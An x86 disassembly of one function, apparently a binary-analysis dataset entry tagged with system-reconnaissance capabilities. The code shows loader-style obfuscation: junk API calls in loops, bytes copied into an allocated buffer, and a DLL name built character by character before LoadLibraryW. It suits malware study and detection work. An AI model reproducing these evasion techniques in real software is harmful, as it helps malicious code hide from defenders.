Function at 0x41d9a0
Capabilities:
Get common file path
Get disk information
Get geographical location
Get hostname
Move file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x41fbd1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x3170
call fcn.00418b10
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x18], ebx
mov esi, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
xor eax, eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProfileSectionA]
mov dword [esp + 0x18], eax
lea ebx, [ebx]
cmp eax, 0x2c84f
jge 0x41da04
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
mov eax, dword [esp + 0x18]
cmp dword [0xba438c], 0x6fb
jne 0x41da5a
push 0x30
lea eax, [esp + 0x140]
push ebx
push eax
mov dword [esp + 0x144], ebx
call fcn.0040ab00
add esp, 0xc
push ebx
lea ecx, [esp + 0x13c]
push ecx
push 0x40426c
call esi
push ebx
lea edx, [esp + 0x184]
push edx
push 0x4042a4
call edi
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x24]
push ecx
call ebp
mov eax, dword [esp + 0x18]
cmp eax, 0x1e7d3ee8
jle 0x41da78
cmp dword [esp + 0x14], 0xc10392
je 0x41da78
cmp dword [esp + 0x144], 0x9343ae8
jne 0x41da8a
inc eax
mov dword [esp + 0x18], eax
cmp eax, 0x7e98d
jl 0x41d9f0
jmp 0x41dabc
cmp dword [0xba438c], 0x28
jne 0x41dabc
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x584]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x180]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
cmp dword [0xba438c], 0xcf8
jne 0x41dfc6
push 0x404324
push ebx
call fcn.0040aa42
push ebx
push ebx
push ebx
push 0x44e5d0
call fcn.0040a488
push ebx
call fcn.0040a8b3
add esp, 0x1c
push ebx
push ebx
call fcn.0040a23b
add esp, 8
lea edx, [esp + 0xe0]
push edx
call fcn.004067f0
mov dword [esp + 0xe0], 0x4045ec
mov dword [esp + 0x11c], ebx
mov dword [esp + 0x120], ebx
mov eax, 1
mov dword [esp + 0x31bc], eax
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x38], 0x404630
mov dword [esp + 0x48], 0x404638
mov byte [esp + 0x31bc], 3
mov ebp, 6
push 4
mov dword [esp + 0x20], eax
mov dword [esp + 0x9c], 0x4045d4
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0xcc], ebx
mov dword [esp + 0xa4], ebx
mov dword [esp + 0xac], ebx
mov dword [esp + 0xb0], 0x201
mov dword [esp + 0xb4], ebp
mov dword [esp + 0xb8], ebx
mov dword [esp + 0xbc], ebx
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xc4], ebx
mov dword [esp + 0xc8], ebx
mov dword [esp + 0xa8], ebx
call fcn.0040ac36
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x41dbf9
call fcn.0040917f
mov dword [esi], eax
call fcn.00408f3e
push ebx
lea ecx, [esp + 0x1c]
mov edi, eax
call fcn.00409345
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jae 0x41dbee
inc eax
mov dword [edi + 4], eax
lea ecx, [esp + 0x18]
call fcn.0040936d
jmp 0x41dbfb
xor esi, esi
lea eax, [esp + 0x50]
mov dword [esp + 0xd0], eax
lea edi, [esp + 0x20]
lea eax, [esp + 0x98]
mov dword [esp + 0xc8], esi
mov dword [esp + 0xd4], ebx
call fcn.00405760
mov edi, eax
mov dword [esp + 0x31bc], ebp
call fcn.00408670
mov byte [esp + 0x31bc], 5
mov edi, dword [esp + 0x20]
mov ebp, eax
cmp edi, ebx
je 0x41dc80
push ebx
lea ecx, [esp + 0x18]
call fcn.00409345
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x41dc5e
cmp eax, 0xffffffff
jae 0x41dc5e
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x14]
and esi, edi
call fcn.0040936d
cmp esi, ebx
je 0x41dc80
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov edx, dword [ebp]
mov eax, dword [edx + 0x18]
push 0x20
mov ecx, ebp
call eax
mov byte [esp + 0xd8], al
cmp dword [esp + 0xd0], ebx
jne 0x41dcc6
mov eax, dword [esp + 0xa4]
or eax, 4
and eax, 0x17
mov dword [esp + 0xa4], eax
test dword [esp + 0xa8], eax
je 0x41dcc6
push ebx
lea ecx, [esp + 0x9c]
call fcn.00405680
mov ecx, dword [esp + 0x48]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0x48], 0x4045dc
mov eax, dword [esp + 0x38]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x38], 0x4045e4
mov dword [esp + 0x31bc], 9
mov edx, dword [esp + 0x38]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x50]
mov esi, 0x40462c
push ecx
mov dword [esp + eax + 0x3c], esi
call fcn.004067f0
mov edi, 0x4045ec
mov dword [esp + 0x50], edi
mov dword [esp + 0x8c], ebx
mov dword [esp + 0x90], ebx
push 0x404330
lea edx, [esp + 0x4c]
push edx
mov byte [esp + 0x31c4], 0xb
call fcn.00405960
push 0x404334
lea eax, [esp + 0x4c]
push eax
call fcn.00405960
push ebx
call fcn.0040ac27
add esp, 4
push ebx
call fcn.0040aa06
fldz
sub esp, 0xc
fst qword [esp + 8]
fstp qword [esp]
call fcn.0040aa20
fstp st(0)
push ebx
push ebx
call fcn.0040a337
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00409b38
add esp, 0x2c
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040a7be
add esp, 0x14
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040a70c
mov edx, dword [esp + 0x50]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xb0]
add esp, 0x18
mov dword [esp + 0x20], ecx
mov dword [esp + eax + 0x38], esi
test byte [esp + 0x90], 1
lea ecx, [esp + 0x50]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x50], edi
je 0x41ddd2
mov edx, dword [esp + 0x60]
mov eax, dword [edx]
push eax
call fcn.0040ab85
add esp, 4
mov eax, dword [esp + 0x60]
mov dword [eax], ebx
mov ecx, dword [esp + 0x70]
mov dword [ecx], ebx
mov edx, dword [esp + 0x80]
mov dword [edx], ebx
mov eax, dword [esp + 0x64]
mov dword [eax], ebx
mov ecx, dword [esp + 0x74]
mov dword [ecx], ebx
mov edx, dword [esp + 0x84]
mov dword [edx], ebx
and dword [esp + 0x90], 0xfffffffe
mov dword [esp + 0x8c], ebx
mov dword [esp + 0x50], 0x404594
mov byte [esp + 0x31bc], 0xd
mov eax, dword [esp + 0x88]
mov ebp, eax
cmp eax, ebx
je 0x41de78
mov edi, dword [eax]
cmp edi, ebx
je 0x41de6a
push ebx
lea ecx, [esp + 0x18]
call fcn.00409345
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x41de48
cmp eax, 0xffffffff
jae 0x41de48
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x14]
and esi, edi
call fcn.0040936d
cmp esi, ebx
je 0x41de6a
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebp
call fcn.0040ab85
add esp, 4
mov edi, 0x4045ec
lea ecx, [esp + 0x54]
mov byte [esp + 0x31bc], 0xc
call fcn.0040939e
mov byte [esp + 0x31bc], 2
mov eax, dword [esp + 0x38]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x38], 0x4045e4
mov edx, dword [esp + 0x48]
mov eax, dword [edx + 4]
mov dword [esp + eax + 0x48], 0x4045dc
mov ecx, dword [esp + 0x38]
mov edx, dword [ecx + 4]
lea eax, [esp + 0x98]
mov dword [esp + edx + 0x38], 0x4045d4
push eax
mov dword [esp + 0x9c], 0x40458c
call fcn.00408e74
add esp, 4
test byte [esp + 0x120], 1
mov dword [esp + 0xe0], edi
je 0x41defc
mov ecx, dword [esp + 0xf0]
mov eax, dword [ecx]
push eax
call fcn.0040ab85
add esp, 4
mov edx, dword [esp + 0xf0]
mov dword [edx], ebx
mov eax, dword [esp + 0x100]
mov dword [eax], ebx
mov ecx, dword [esp + 0x110]
mov dword [ecx], ebx
mov edx, dword [esp + 0xf4]
mov dword [edx], ebx
mov eax, dword [esp + 0x104]
mov dword [eax], ebx
mov ecx, dword [esp + 0x114]
mov dword [ecx], ebx
and dword [esp + 0x120], 0xfffffffe
mov dword [esp + 0x11c], ebx
mov dword [esp + 0xe0], 0x404594
mov dword [esp + 0x31bc], 0xe
mov eax, dword [esp + 0x118]
mov ebp, eax
cmp eax, ebx
je 0x41dfaf
mov edi, dword [eax]
cmp edi, ebx
je 0x41dfa6
push ebx
lea ecx, [esp + 0x18]
call fcn.00409345
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x41df84
cmp eax, 0xffffffff
jae 0x41df84
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x14]
and esi, edi
call fcn.0040936d
cmp esi, ebx
je 0x41dfa6
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
push ebp
call fcn.0040ab85
add esp, 4
lea ecx, [esp + 0xe4]
mov dword [esp + 0x31bc], 0xffffffff
call fcn.0040939e
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov ebp, dword [sym.imp.KERNEL32.dll_MoveFileW]
xor esi, esi
cmp esi, 0x408
jne 0x41dfe7
mov eax, 0x5d1
add dword [0xba438c], eax
cmp dword [0xba438c], 0xca3
jne 0x41e007
push ebx
lea ecx, [esp + 0x584]
push ecx
push ebx
call edi
push 0x404338
push ebx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x41dfd4
mov edx, dword [0xba438c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0xba2b84], eax
mov eax, dword [0xba438c]
mov dword [esp + 0x1c], ebx
cmp eax, ebx
jbe 0x41e147
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xfe
jne 0x41e09d
push ebx
lea eax, [esp + 0xd84]
push eax
call esi
push ebx
call edi
lea ecx, [esp + 0x180]
push ecx
push 0x4043b8
call ebp
xor eax, eax
lea edx, [esp + 0x24]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
push edx
lea eax, [esp + 0x13c]
push eax
push 0x4043ec
mov dword [esp + 0x30], ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
mov eax, dword [0xba438c]
cmp eax, 0x37
jne 0x41e0f0
push ebx
lea ecx, [esp + 0x584]
push ecx
push ebx
push 0x40421c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x404258
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
lea edx, [esp + 0x180]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x4042b8
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov eax, dword [0xba6af0]
mov dword [esp + 0x18], eax
mov eax, 0x5d1
add dword [esp + 0x18], eax
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov dl, byte [ecx + eax]
mov ecx, dword [0xba2b84]
mov byte [ecx + eax], dl
mov eax, dword [0xba438c]
cmp eax, 0x29
jne 0x41e136
push ebx
lea edx, [esp + 0x584]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov eax, dword [0xba438c]
mov ecx, dword [esp + 0x1c]
inc ecx
mov dword [esp + 0x1c], ecx
cmp ecx, eax
jb 0x41e046
mov esi, dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov edi, 0x9682ab
cmp eax, 3
jne 0x41e15f
push ebx
call esi
mov eax, dword [0xba438c]
dec edi
jne 0x41e152
mov esi, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov ebp, 0x25887
mov edi, 0xabebc05c
mov dword [0xba2b8c], edi
cmp eax, 0x222
jne 0x41e194
push ebx
push ebx
push ebx
push 0x4043f8
push 0x404434
push ebx
call esi
mov eax, dword [0xba438c]
dec ebp
jne 0x41e172
mov byte [0x44e5d0], bl
call fcn.0041d300
call fcn.0041d710
mov edi, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov ebp, dword [sym.imp.KERNEL32.dll_LocalSize]
xor esi, esi
jmp 0x41e1c0
cmp dword [0xba438c], 0xba
jne 0x41e1e3
lea eax, [esp + 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFix]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push ebx
call edi
push ebx
call ebp
cmp esi, 0x2f64
jne 0x41e1fc
mov eax, 0x4ecb
add dword [0xba2b84], eax
inc esi
cmp esi, 0x1605a
jl 0x41e1c0
mov ecx, 0x73
mov edx, 0x6d
mov word [0xba4392], cx
mov word [0xba4396], dx
xor edx, edx
mov eax, 0x33
mov ecx, 0x67
mov word [0xba439a], ax
mov word [0xba43a6], dx
mov word [0xba4398], cx
mov edx, 0x69
mov eax, 0x6d
mov ecx, 0x6c
push 0xba4390
mov dword [0xba43a0], 0x6c0064
mov word [0xba4394], dx
mov word [0xba4390], ax
mov word [0xba43a4], cx
mov dword [0xba439c], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0xba438c], 0xc30
jne 0x41e38d
mov ecx, dword [esp + 0x14]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea edx, [esp + 0x14]
push edx
push 0x404448
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea eax, [esp + 0x180]
push eax
push 0x404488
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
lea ecx, [esp + 0x1184]
push ecx
push 0x4044a0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0x4044c8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
lea edx, [esp + 0x24]
push edx
push ebx
lea eax, [esp + 0xd8c]
push eax
push ebx
call esi
push ebx
lea ecx, [esp + 0x2184]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x13c]
push ecx
lea edx, [esp + 0x148]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
lea eax, [esp + 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
lea ecx, [esp + 0x584]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push ebx
lea edx, [esp + 0x1984]
push edx
push 0x4044f0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push ebx
lea eax, [esp + 0x134]
push eax
push ebx
push ebx
push ebx
call esi
push 0x40452c
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
lea ecx, [esp + 0x2980]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [esp + 0x31b4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret